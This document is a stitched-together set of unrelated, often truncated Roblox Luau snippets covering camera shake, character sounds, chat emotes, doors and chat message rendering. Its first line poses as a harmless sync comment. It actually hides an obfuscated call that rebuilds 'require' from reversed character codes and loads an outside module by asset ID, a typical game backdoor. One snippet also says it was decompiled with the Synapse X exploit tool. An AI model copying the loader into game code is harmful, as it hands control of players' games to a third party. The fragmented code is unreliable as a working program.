--[[ Last synced 7/9/2021 08:32 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
-- Returns an interpolation between position0 and position1.
-- Returns position0 when t = 0, and position1 when t = 1. |
function moduleApiTable:Lerp(t, position0, position1)
return (1 - t) * position0 + t * position1
end
|
--CameraShaker.Presets = require(script.CameraShakePresets) |
function CameraShaker.new(renderPriority, callback)
assert(type(renderPriority) == "number", "RenderPriority must be a number (e.g.: Enum.RenderPriority.Camera.Value)")
assert(type(callback) == "function", "Callback must be a function")
local self = setmetatable({
_running = false;
_renderName = "CameraShaker";
_renderPriority = renderPriority;
_posAddShake = v3Zero;
_rotAddShake = v3Zero;
_camShakeInstances = {};
_removeInstances = {};
_callback = callback;
}, CameraShaker)
return self
end
function CameraShaker:Start()
if (self._running) then return end
self._running = true
local callback = self._callback
game:GetService("RunService"):BindToRenderStep(self._renderName, self._renderPriority, function(dt)
profileBegin(profileTag)
local cf = self:Update(dt)
profileEnd()
callback(cf)
end)
end
function CameraShaker:Stop()
if (not self._running) then return end
game:GetService("RunService"):UnbindFromRenderStep(self._renderName)
self._running = false
end
function CameraShaker:StopSustained(duration)
for _,c in pairs(self._camShakeInstances) do
if (c.fadeOutDuration == 0) then
c:StartFadeOut(duration or c.fadeInDuration)
end
end
end
function CameraShaker:Update(dt)
local posAddShake = v3Zero
local rotAddShake = v3Zero
local instances = self._camShakeInstances
-- Update all instances:
for i = 1,#instances do
local c = instances[i]
local state = c:GetState()
if (state == CameraShakeState.Inactive and c.DeleteOnInactive) then
self._removeInstances[#self._removeInstances + 1] = i
elseif (state ~= CameraShakeState.Inactive) then
local shake = c:UpdateShake(dt)
posAddShake = posAddShake + (shake * c.PositionInfluence)
rotAddShake = rotAddShake + (shake * c.RotationInfluence)
end
end
-- Remove dead instances:
for i = #self._removeInstances,1,-1 do
local instIndex = self._removeInstances[i]
table.remove(instances, instIndex)
self._removeInstances[i] = nil
end
return CF(posAddShake) *
ANG(0, RAD(rotAddShake.Y), 0) *
ANG(RAD(rotAddShake.X), 0, RAD(rotAddShake.Z))
end
function CameraShaker:Shake(shakeInstance)
assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance")
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
function CameraShaker:ShakeSustain(shakeInstance)
assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance")
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
shakeInstance:StartFadeIn(shakeInstance.fadeInDuration)
return shakeInstance
end
function CameraShaker:ShakeOnce(magnitude, roughness, fadeInTime, fadeOutTime, posInfluence, rotInfluence)
local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime, fadeOutTime)
shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence)
shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence)
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
function CameraShaker:StartShake(magnitude, roughness, fadeInTime, posInfluence, rotInfluence)
local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime)
shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence)
shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence)
shakeInstance:StartFadeIn(fadeInTime)
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
return CameraShaker
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = {};
local l__ReplicatedStorage__2 = game.ReplicatedStorage;
local v3 = require(game.ReplicatedStorage.Modules.Lightning);
local v4 = require(game.ReplicatedStorage.Modules.Xeno);
local v5 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__6 = game.TweenService;
local l__Debris__7 = game.Debris;
function v1.RunStompFx(p1, p2, p3, p4)
local v8 = game.ReplicatedStorage.KillFX.Portal.Portal:Clone();
v8.Parent = workspace.Ignored.Animations;
v8.Portal:Play();
v8.CFrame = CFrame.new(p2.Position) * CFrame.new(math.random(-15, 15), 5, math.random(-15, 15));
local v9 = game.ReplicatedStorage.KillFX.Portal:FindFirstChildOfClass("BodyPosition"):Clone();
v9.Position = v8.Position;
v9.Parent = p2;
for v10, v11 in pairs(p2.Parent:GetDescendants()) do
if v11:IsA("Decal") or v11:IsA("BasePart") then
game.TweenService:Create(v11, TweenInfo.new(1, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), {
Transparency = 1
}):Play();
end;
end;
task.delay(0.5, function()
for v12, v13 in pairs(v8.Attachment:GetChildren()) do
v13.Enabled = false;
task.wait(0.3);
v13.Squash = NumberSequence.new(0.1, 1);
end;
end);
return nil;
end;
return v1;
|
-- Max angle the wheels will reach when turning
-- Higher number means sharper turning, but too high means the wheels might hit the car base |
local MAX_TURN_ANGLE = 30
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 3 -- cooldown for use of the tool again
ZoneModelName = "Dark string" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--// Player Events |
game:GetService("RunService").Heartbeat:connect(function()
for _,v in pairs(game.Players:GetChildren()) do
UpdateTag(v)
end
end)
|
-- Return attempt debugging ID when converted to string |
function Attempt:__tostring()
return self.Id:gsub('table', 'Attempt');
end;
|
--[[*
* This API should be called `delete` but we'd have to make sure to always
* transform these to strings for IE support. When this transform is fully
* supported we can rename it.
]] |
local Shared = script.Parent
local Packages = Shared.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Error = LuauPolyfill.Error
local inspect = LuauPolyfill.util.inspect
local getComponentName = require(script.Parent.getComponentName)
local exports = {}
local function isValidFiber(fiber): boolean
return fiber.tag ~= nil
and fiber.subtreeFlags ~= nil
and fiber.lanes ~= nil
and fiber.childLanes ~= nil
end
exports.remove = function(key)
key._reactInternals = nil
end
exports.get = function(key)
local value = key._reactInternals
-- ROBLOX deviation: we have a crash in production this will help catch
-- ROBLOX TODO: wrap this in __DEV__
if not isValidFiber(value) then
error(
Error.new(
"invalid fiber in "
.. (getComponentName(key) or "UNNAMED Component")
.. " during get from ReactInstanceMap! "
.. inspect(value)
)
)
elseif value.alternate ~= nil and not isValidFiber(value.alternate) then
error(
Error.new(
"invalid alternate fiber ("
.. (getComponentName(key) or "UNNAMED alternate")
.. ") in "
.. (getComponentName(key) or "UNNAMED Component")
.. " during get from ReactInstanceMap! "
.. inspect(value.alternate)
)
)
end
return value
end
exports.has = function(key)
return key._reactInternals ~= nil
end
exports.set = function(key, value)
-- ROBLOX deviation: we have a crash in production this will help catch
-- ROBLOX TODO: wrap this in __DEV__
local parent = value
local message
while parent ~= nil do
if not isValidFiber(parent) then
message = "invalid fiber in "
.. (getComponentName(key) or "UNNAMED Component")
.. " being set in ReactInstanceMap! "
.. inspect(parent)
.. "\n"
if value ~= parent then
message ..= " (from original fiber " .. (getComponentName(key) or "UNNAMED Component") .. ")"
end
error(Error.new(message))
elseif
(parent :: any).alternate ~= nil
and not isValidFiber((parent :: any).alternate)
then
message = "invalid alternate fiber ("
.. (getComponentName(key) or "UNNAMED alternate")
.. ") in "
.. (getComponentName(key) or "UNNAMED Component")
.. " being set in ReactInstanceMap! "
.. inspect((parent :: any).alternate)
.. "\n"
if value ~= parent then
message ..= " (from original fiber " .. (getComponentName(key) or "UNNAMED Component") .. ")"
end
error(Error.new(message))
end
parent = (parent :: any).return_
end
(key :: any)._reactInternals = value
end
return exports
|
--TweenParts |
local Hinge = script.Parent.Parent.Hinge1
local OpenHinge = script.Parent.Parent.Open1
local ClosedHinge = script.Parent.Parent.Closed1
local Hinge1 = script.Parent.Parent.Hinge0
local OpenHinge1 = script.Parent.Parent.Open0
local ClosedHinge1 = script.Parent.Parent.Closed0 |
--Refer to Settings.COMPARISON_CHECKS |
local function comparePosition(self)
if self._currentWaypoint == #self._waypoints then return end
self._position._count = ((self._agent.PrimaryPart.Position - self._position._last).Magnitude <= 0.07 and (self._position._count + 1)) or 0
self._position._last = self._agent.PrimaryPart.Position
if self._position._count >= Settings.COMPARISON_CHECKS then
setJumpState(self)
end
end
|
--ice |
script.Parent.Color = randval6 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval7 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
mode10()
end
while true do
randval1 = Color3.new(1,0,0) --Red
randval2 = Color3.new(0,1,0) --Green
randval3 = Color3.new(0,0,1) --Blue
randval4 = Color3.new(1,1,0) --yellow
randval5 = Color3.new(1,0,1) --mag
randval6 = Color3.new(0,1,1) --cyn
randval7 = Color3.new(1,1,1) --white
randval8 = Color3.new(0,0,0) --blk
mode9()
end
|
-- Signal:Fire(...) implemented by running the handler functions on the
-- coRunnerThread, and any time the resulting thread yielded without returning
-- to us, that means that it yielded to the Roblox scheduler and has been taken
-- over by Roblox scheduling, meaning we have to make a new coroutine runner. |
function Signal:Fire(...)
local item = self._handlerListHead
while item do
if item._connected then
if not freeRunnerThread then
freeRunnerThread = coroutine.create(runEventHandlerInFreeThread)
end
task.spawn(freeRunnerThread, item._fn, ...)
end
item = item._next
end
end
|
-- Variables |
local ServerStorage = game:GetService("ServerStorage")
local particlesFolder = ServerStorage:WaitForChild("SpecialEffects")
local upgradeParticle = particlesFolder:WaitForChild("ParticleLap")
local upgradeCheckpoint = particlesFolder:WaitForChild("ParticleCheckpoint")
local particleHolderName = "HumanoidRootPart"
local particleEmitRate = 20
|
-- Variables for services |
local render = game:GetService("RunService").RenderStepped
local runService = game:GetService("RunService")
local contextActionService = game:GetService("ContextActionService")
local userInputService = game:GetService("UserInputService")
|
--DO NOT EDIT BELOW! |
local door = script.Parent
local db = false
door.Touched:connect(function(hit)
if not db then
db = true
local humanoid = hit.Parent:FindFirstChild("Humanoid")
if humanoid then
local plr = game.Players:GetPlayerFromCharacter(hit.Parent)
for _,name in pairs(Admins) do
if string.lower(plr.Name) == string.lower(name) then
door.Transparency = 0
door.CanCollide = false
wait(3)
door.Transparency = 0
door.CanCollide = true
end
end
end
db = false
end
end)
|
-- // Visual Config |
local CONE_HEIGHT = 0.25
local LINE_THICKNESS = 2.5
local TRANSPARENCY = 0.5
local ALWAYS_ON_TOP = true
|
---Basic_Settings:--- |
local light = true -- Set to false if u dont have light added
local maxv = 133 -- Max Speed In REAL KT.. Check Online for the real Aviation speed for this plane
local minspeed = -30 -- min speed In real KT
local Spd_keep = true-- Set to false if U dont want the function to Speed up/down if u hold M/N down, and after release it stops |
--SFX ID to Sound object |
local Sounds = {}
local SoundService = game:GetService("SoundService")
local soundEventFolderName = "DefaultSoundEvents"
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local AddCharacterLoadedEvent = nil
local RemoveCharacterEvent = nil
local soundEventFolder = ReplicatedStorage:FindFirstChild(soundEventFolderName)
local useSoundDispatcher = UserSettings():IsUserFeatureEnabled("UserUseSoundDispatcher")
if useSoundDispatcher then
if not soundEventFolder then
soundEventFolder = Instance.new("Folder", ReplicatedStorage)
soundEventFolder.Name = soundEventFolderName
soundEventFolder.Archivable = false
end
-- Load the RemoveCharacterEvent
RemoveCharacterEvent = soundEventFolder:FindFirstChild("RemoveCharacterEvent")
if RemoveCharacterEvent == nil then
RemoveCharacterEvent = Instance.new("RemoteEvent", soundEventFolder)
RemoveCharacterEvent.Name = "RemoveCharacterEvent"
end
AddCharacterLoadedEvent = soundEventFolder:FindFirstChild("AddCharacterLoadedEvent")
if AddCharacterLoadedEvent == nil then
AddCharacterLoadedEvent = Instance.new("RemoteEvent", soundEventFolder)
AddCharacterLoadedEvent.Name = "AddCharacterLoadedEvent"
end
-- Notify the server a new character has been loaded
AddCharacterLoadedEvent:FireServer()
-- Notify the sound dispatcher this character has left.
game.Players.LocalPlayer.CharacterRemoving:connect(function(character)
RemoveCharacterEvent:FireServer(game.Players.LocalPlayer)
end)
end
do
local Figure = script.Parent.Parent
Head = Figure:WaitForChild("Head")
while not Humanoid do
for _,NewHumanoid in pairs(Figure:GetChildren()) do
if NewHumanoid:IsA("Humanoid") then
Humanoid = NewHumanoid
break
end
end
if Humanoid then break end
Figure.ChildAdded:wait()
end
Sounds[SFX.Died] = Head:WaitForChild("Died")
Sounds[SFX.Running] = Head:WaitForChild("Running")
Sounds[SFX.Swimming] = Head:WaitForChild("Swimming")
Sounds[SFX.Climbing] = Head:WaitForChild("Climbing")
Sounds[SFX.Jumping] = Head:WaitForChild("Jumping")
Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp")
Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling")
Sounds[SFX.Landing] = Head:WaitForChild("Landing")
Sounds[SFX.Splash] = Head:WaitForChild("Splash")
local DefaultServerSoundEvent = nil
if useSoundDispatcher then
DefaultServerSoundEvent = soundEventFolder:FindFirstChild("DefaultServerSoundEvent")
else
DefaultServerSoundEvent = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultServerSoundEvent")
end
if DefaultServerSoundEvent then
DefaultServerSoundEvent.OnClientEvent:connect(function(sound, playing, resetPosition)
if resetPosition and sound.TimePosition ~= 0 then
sound.TimePosition = 0
end
if sound.IsPlaying ~= playing then
sound.Playing = playing
end
end)
end
end
local IsSoundFilteringEnabled = function()
return game.Workspace.FilteringEnabled and SoundService.RespectFilteringEnabled
end
local Util
Util = {
--Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this at x.
YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y)
--(y - y1)/(x - x1) = m
local m = (pt1y - pt2y) / (pt1x - pt2x)
--float b = pt1.y - m * pt1.x;
local b = (pt1y - m * pt1x)
return m * x + b
end;
--Clamps the value of "val" between the "min" and "max"
Clamp = function(val,min,max)
return math.min(max,math.max(min,val))
end;
--Gets the horizontal (x,z) velocity magnitude of the given part
HorizontalSpeed = function(Head)
local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0)
return hVel.magnitude
end;
--Gets the vertical (y) velocity magnitude of the given part
VerticalSpeed = function(Head)
return math.abs(Head.Velocity.Y)
end;
--Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop
--If these properties are enabled, use them.
Play = function(sound)
if IsSoundFilteringEnabled() then
sound.CharacterSoundEvent:FireServer(true, true)
end
if sound.TimePosition ~= 0 then
sound.TimePosition = 0
end
if not sound.IsPlaying then
sound.Playing = true
end
end;
Pause = function(sound)
if IsSoundFilteringEnabled() then
sound.CharacterSoundEvent:FireServer(false, false)
end
if sound.IsPlaying then
sound.Playing = false
end
end;
Resume = function(sound)
if IsSoundFilteringEnabled() then
sound.CharacterSoundEvent:FireServer(true, false)
end
if not sound.IsPlaying then
sound.Playing = true
end
end;
Stop = function(sound)
if IsSoundFilteringEnabled() then
sound.CharacterSoundEvent:FireServer(false, true)
end
if sound.IsPlaying then
sound.Playing = false
end
if sound.TimePosition ~= 0 then
sound.TimePosition = 0
end
end;
}
do
-- List of all active Looped sounds
local playingLoopedSounds = {}
-- Last seen Enum.HumanoidStateType
local activeState = nil
local fallSpeed = 0
-- Verify and set that "sound" is in "playingLoopedSounds".
function setSoundInPlayingLoopedSounds(sound)
for i=1, #playingLoopedSounds do
if playingLoopedSounds[i] == sound then
return
end
end
table.insert(playingLoopedSounds,sound)
end
-- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped.
function stopPlayingLoopedSoundsExcept(except)
for i=#playingLoopedSounds,1,-1 do
if playingLoopedSounds[i] ~= except then
Util.Pause(playingLoopedSounds[i])
table.remove(playingLoopedSounds,i)
end
end
end
-- Table of Enum.HumanoidStateType to handling function
local stateUpdateHandler = {
[Enum.HumanoidStateType.Dead] = function()
stopPlayingLoopedSoundsExcept()
local sound = Sounds[SFX.Died]
Util.Play(sound)
end;
[Enum.HumanoidStateType.RunningNoPhysics] = function(speed)
stateUpdated(Enum.HumanoidStateType.Running, speed)
end;
[Enum.HumanoidStateType.Running] = function(speed)
local sound = Sounds[SFX.Running]
stopPlayingLoopedSoundsExcept(sound)
if(useUpdatedLocalSoundFlag and activeState == Enum.HumanoidStateType.Freefall and fallSpeed > 0.1) then
-- Play a landing sound if the character dropped from a large distance
local vol = math.min(1.0, math.max(0.0, (fallSpeed - 50) / 110))
local freeFallSound = Sounds[SFX.FreeFalling]
freeFallSound.Volume = vol
Util.Play(freeFallSound)
fallSpeed = 0
end
if useUpdatedLocalSoundFlag then
if speed ~= nil and speed > 0.5 then
Util.Resume(sound)
setSoundInPlayingLoopedSounds(sound)
elseif speed ~= nil then
stopPlayingLoopedSoundsExcept()
end
else
if Util.HorizontalSpeed(Head) > 0.5 then
Util.Resume(sound)
setSoundInPlayingLoopedSounds(sound)
else
stopPlayingLoopedSoundsExcept()
end
end
end;
[Enum.HumanoidStateType.Swimming] = function(speed)
local threshold
if useUpdatedLocalSoundFlag then threshold = speed else threshold = Util.VerticalSpeed(Head) end
if activeState ~= Enum.HumanoidStateType.Swimming and threshold > 0.1 then
local splashSound = Sounds[SFX.Splash]
splashSound.Volume = Util.Clamp(
Util.YForLineGivenXAndTwoPts(
Util.VerticalSpeed(Head),
100, 0.28,
350, 1),
0,1)
Util.Play(splashSound)
end
do
local sound = Sounds[SFX.Swimming]
stopPlayingLoopedSoundsExcept(sound)
Util.Resume(sound)
setSoundInPlayingLoopedSounds(sound)
end
end;
[Enum.HumanoidStateType.Climbing] = function(speed)
local sound = Sounds[SFX.Climbing]
if useUpdatedLocalSoundFlag then
if speed ~= nil and math.abs(speed) > 0.1 then
Util.Resume(sound)
stopPlayingLoopedSoundsExcept(sound)
else
Util.Pause(sound)
stopPlayingLoopedSoundsExcept(sound)
end
else
if Util.VerticalSpeed(Head) > 0.1 then
Util.Resume(sound)
stopPlayingLoopedSoundsExcept(sound)
else
stopPlayingLoopedSoundsExcept()
end
end
setSoundInPlayingLoopedSounds(sound)
end;
[Enum.HumanoidStateType.Jumping] = function()
if activeState == Enum.HumanoidStateType.Jumping then
return
end
stopPlayingLoopedSoundsExcept()
local sound = Sounds[SFX.Jumping]
Util.Play(sound)
end;
[Enum.HumanoidStateType.GettingUp] = function()
stopPlayingLoopedSoundsExcept()
local sound = Sounds[SFX.GettingUp]
Util.Play(sound)
end;
[Enum.HumanoidStateType.Freefall] = function()
if activeState == Enum.HumanoidStateType.Freefall then
return
end
local sound = Sounds[SFX.FreeFalling]
sound.Volume = 0
stopPlayingLoopedSoundsExcept()
fallSpeed = math.max(fallSpeed, math.abs(Head.Velocity.y))
end;
[Enum.HumanoidStateType.FallingDown] = function()
stopPlayingLoopedSoundsExcept()
end;
[Enum.HumanoidStateType.Landed] = function()
stopPlayingLoopedSoundsExcept()
if Util.VerticalSpeed(Head) > 75 then
local landingSound = Sounds[SFX.Landing]
landingSound.Volume = Util.Clamp(
Util.YForLineGivenXAndTwoPts(
Util.VerticalSpeed(Head),
50, 0,
100, 1),
0,1)
Util.Play(landingSound)
end
end;
[Enum.HumanoidStateType.Seated] = function()
stopPlayingLoopedSoundsExcept()
end;
}
-- Handle state event fired or OnChange fired
function stateUpdated(state, speed)
if stateUpdateHandler[state] ~= nil then
if useUpdatedLocalSoundFlag and (state == Enum.HumanoidStateType.Running
or state == Enum.HumanoidStateType.Climbing
or state == Enum.HumanoidStateType.Swimming
or state == Enum.HumanoidStateType.RunningNoPhysics) then
stateUpdateHandler[state](speed)
else
stateUpdateHandler[state]()
end
end
activeState = state
end
Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end)
Humanoid.Running:connect( function(speed) stateUpdated(Enum.HumanoidStateType.Running, speed) end)
Humanoid.Swimming:connect( function(speed) stateUpdated(Enum.HumanoidStateType.Swimming, speed) end)
Humanoid.Climbing:connect( function(speed) stateUpdated(Enum.HumanoidStateType.Climbing, speed) end)
Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end)
Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end)
Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end)
Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end)
-- required for proper handling of Landed event
Humanoid.StateChanged:connect(function(old, new)
stateUpdated(new)
end)
function onUpdate(stepDeltaSeconds, tickSpeedSeconds)
local stepScale = stepDeltaSeconds / tickSpeedSeconds
do
local sound = Sounds[SFX.FreeFalling]
if activeState == Enum.HumanoidStateType.Freefall then
if Head.Velocity.Y < 0 and Util.VerticalSpeed(Head) > 75 then
Util.Resume(sound)
--Volume takes 1.1 seconds to go from volume 0 to 1
local ANIMATION_LENGTH_SECONDS = 1.1
local normalizedIncrement = tickSpeedSeconds / ANIMATION_LENGTH_SECONDS
sound.Volume = Util.Clamp(sound.Volume + normalizedIncrement * stepScale, 0, 1)
else
sound.Volume = 0
end
else
Util.Pause(sound)
end
end
do
local sound = Sounds[SFX.Running]
if activeState == Enum.HumanoidStateType.Running then
if Util.HorizontalSpeed(Head) < 0.5 then
Util.Pause(sound)
end
end
end
end
local lastTick = tick()
local TICK_SPEED_SECONDS = 0.25
while true do
onUpdate(tick() - lastTick,TICK_SPEED_SECONDS)
lastTick = tick()
wait(TICK_SPEED_SECONDS)
end
end
|
-- Check if the given message should trigger an emote, and return its animation ID |
function ChatEmotes.getEmoteFromMessage(message: string): (string?, string?)
local useDefaultEmotes = config.getValues().useDefaultTriggerWordsForChatEmotes
local list = if useDefaultEmotes then Cryo.Dictionary.join(emotesList, customEmotesList) else customEmotesList
local candidates = {}
for _, emote in pairs(list) do
if emote.requiresOwnershipOf and not emote.isOwned then
continue
end
for _, triggerWord in ipairs(emote.triggerWords) do
if ChatEmotes.messageMatchesTriggerWord(message, triggerWord) then
table.insert(candidates, { animation = emote.animationId, triggerWord = triggerWord })
end
end
end
if #candidates == 0 then
return nil
end
local chosen = candidates[random:NextInteger(1, #candidates)]
return chosen.animation, chosen.triggerWord
end
function ChatEmotes.setTriggerWordsForChatAnimation(animationId: string, triggerWords: { string })
assert(t.string(animationId), "Bad argument #1 to ChatEmotes.setTriggerWordsForChatAnimation: expected a string")
assert(
t.array(t.string)(triggerWords),
"Bad argument #2 to ChatEmotes.setTriggerWordsForChatAnimation: expected an array of strings"
)
customEmotesList[animationId] = {
animationId = animationId,
triggerWords = triggerWords,
}
end
local function onChatted(message)
local animationId, triggerWord = ChatEmotes.getEmoteFromMessage(message)
local humanoid = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild("Humanoid")
local animator = humanoid and humanoid:FindFirstChild("Animator")
if animationId and animator then
local animation = Instance.new("Animation")
animation.AnimationId = animationId
stopCurrentTrack()
currentTrack = animator:LoadAnimation(animation)
currentTrack.Priority = Enum.AnimationPriority.Action
currentTrack:Play()
events.onChatAnimationPlayed:Fire(animationId, triggerWord)
end
end
function ChatEmotes.enable()
if enabled then
return
end
if chatEvent then
chattedConnection = chatEvent.OnClientEvent:Connect(function(data)
if data.SpeakerUserId ~= Players.LocalPlayer.UserId then
return
end
onChatted(data.Message)
end)
else
chattedConnection = Players.LocalPlayer.Chatted:Connect(onChatted)
end
local function onCharacterAdded(character)
local humanoid = character:WaitForChild("Humanoid")
characterMovedConnection = humanoid:GetPropertyChangedSignal("MoveDirection"):Connect(stopCurrentTrack)
characterJumpedConnection = humanoid.Jumping:Connect(stopCurrentTrack)
end
if Players.LocalPlayer.Character then
task.spawn(function()
onCharacterAdded(Players.LocalPlayer.Character)
end)
end
characterAddedConnection = Players.LocalPlayer.CharacterAdded:Connect(onCharacterAdded)
-- Ownership checks are cached on initialization because, as the call yields, performing this check when
-- receiving a chat message would create a small delay before the animation is played
task.spawn(function()
for _, emote in pairs(emotesList) do
if emote.requiresOwnershipOf then
local success, result = pcall(function()
return MarketplaceService:PlayerOwnsAsset(Players.LocalPlayer, emote.requiresOwnershipOf)
end)
if success then
emote.isOwned = result
else
emote.isOwned = false
end
end
end
end)
enabled = true
end
function ChatEmotes.disable()
if not enabled then
return
end
stopCurrentTrack()
if chattedConnection then
chattedConnection:Disconnect()
chattedConnection = nil
end
if characterAddedConnection then
characterAddedConnection:Disconnect()
characterAddedConnection = nil
end
if characterMovedConnection then
characterMovedConnection:Disconnect()
characterMovedConnection = nil
end
if characterJumpedConnection then
characterJumpedConnection:Disconnect()
characterJumpedConnection = nil
end
enabled = false
end
return ChatEmotes
|
--> CUSTOMISATION |
local AccelerationTime = 1
local DropTime = 2
|
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts. |
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize)
xSize = xSize or BaseFrame.AbsoluteSize.X
local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, Vector2.new(xSize, 1000))
return textBoundsSize.Y
end
function methods:GetNumberOfSpaces(str, font, textSize)
local strSize = self:GetStringTextBounds(str, font, textSize)
local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize)
return math.ceil(strSize.X / singleSpaceSize.X)
end
function methods:CreateBaseMessage(message, font, textSize, chatColor)
local BaseFrame = self:GetFromObjectPool("Frame")
BaseFrame.Selectable = false
BaseFrame.Size = UDim2.new(1, 0, 0, 18)
BaseFrame.Visible = true
BaseFrame.BackgroundTransparency = 1
local messageBorder = 8
local BaseMessage = self:GetFromObjectPool("TextLabel")
BaseMessage.Selectable = false
BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0)
BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0)
BaseMessage.BackgroundTransparency = 1
BaseMessage.Font = font
BaseMessage.TextSize = textSize
BaseMessage.TextXAlignment = Enum.TextXAlignment.Left
BaseMessage.TextYAlignment = Enum.TextYAlignment.Top
BaseMessage.TextTransparency = 0
BaseMessage.TextStrokeTransparency = 0.75
BaseMessage.TextColor3 = chatColor
BaseMessage.TextWrapped = true
if shouldClipInGameChat then
BaseMessage.ClipsDescendants = true
end
BaseMessage.Text = message
BaseMessage.Visible = true
BaseMessage.Parent = BaseFrame
return BaseFrame, BaseMessage
end
function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName)
local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize)
local NameButton = self:GetFromObjectPool("TextButton")
NameButton.Selectable = false
NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y)
NameButton.Position = UDim2.new(0, 0, 0, 0)
NameButton.BackgroundTransparency = 1
NameButton.Font = BaseMessage.Font
NameButton.TextSize = BaseMessage.TextSize
NameButton.TextXAlignment = BaseMessage.TextXAlignment
NameButton.TextYAlignment = BaseMessage.TextYAlignment
NameButton.TextTransparency = BaseMessage.TextTransparency
NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
NameButton.TextColor3 = nameColor
NameButton.Text = formatName
NameButton.Visible = true
NameButton.Parent = BaseMessage
local clickedConn = NameButton.MouseButton1Click:connect(function()
self:NameButtonClicked(NameButton, playerName)
end)
local changedConn = nil
changedConn = NameButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return NameButton
end
function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName)
local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize)
local ChannelButton = self:GetFromObjectPool("TextButton")
ChannelButton.Selectable = false
ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y)
ChannelButton.Position = UDim2.new(0, 0, 0, 0)
ChannelButton.BackgroundTransparency = 1
ChannelButton.Font = BaseMessage.Font
ChannelButton.TextSize = BaseMessage.TextSize
ChannelButton.TextXAlignment = BaseMessage.TextXAlignment
ChannelButton.TextYAlignment = BaseMessage.TextYAlignment
ChannelButton.TextTransparency = BaseMessage.TextTransparency
ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
ChannelButton.TextColor3 = channelColor
ChannelButton.Text = formatChannelName
ChannelButton.Visible = true
ChannelButton.Parent = BaseMessage
local clickedConn = ChannelButton.MouseButton1Click:connect(function()
self:ChannelButtonClicked(ChannelButton, channelName)
end)
local changedConn = nil
changedConn = ChannelButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return ChannelButton
end
function methods:AddTagLabelToBaseMessage(BaseMessage, tagColor, formatTagText)
local tagNameSize = self:GetStringTextBounds(formatTagText, BaseMessage.Font, BaseMessage.TextSize)
local TagLabel = self:GetFromObjectPool("TextLabel")
TagLabel.Selectable = false
TagLabel.Size = UDim2.new(0, tagNameSize.X, 0, tagNameSize.Y)
TagLabel.Position = UDim2.new(0, 0, 0, 0)
TagLabel.BackgroundTransparency = 1
TagLabel.Font = BaseMessage.Font
TagLabel.TextSize = BaseMessage.TextSize
TagLabel.TextXAlignment = BaseMessage.TextXAlignment
TagLabel.TextYAlignment = BaseMessage.TextYAlignment
TagLabel.TextTransparency = BaseMessage.TextTransparency
TagLabel.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
TagLabel.TextColor3 = tagColor
TagLabel.Text = formatTagText
TagLabel.Visible = true
TagLabel.Parent = BaseMessage
return TagLabel
end
function GetWhisperChannelPrefix()
if ChatConstants.WhisperChannelPrefix then
return ChatConstants.WhisperChannelPrefix
end
return "To "
end
function methods:NameButtonClicked(nameButton, playerName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnPlayerNameToWhisper then
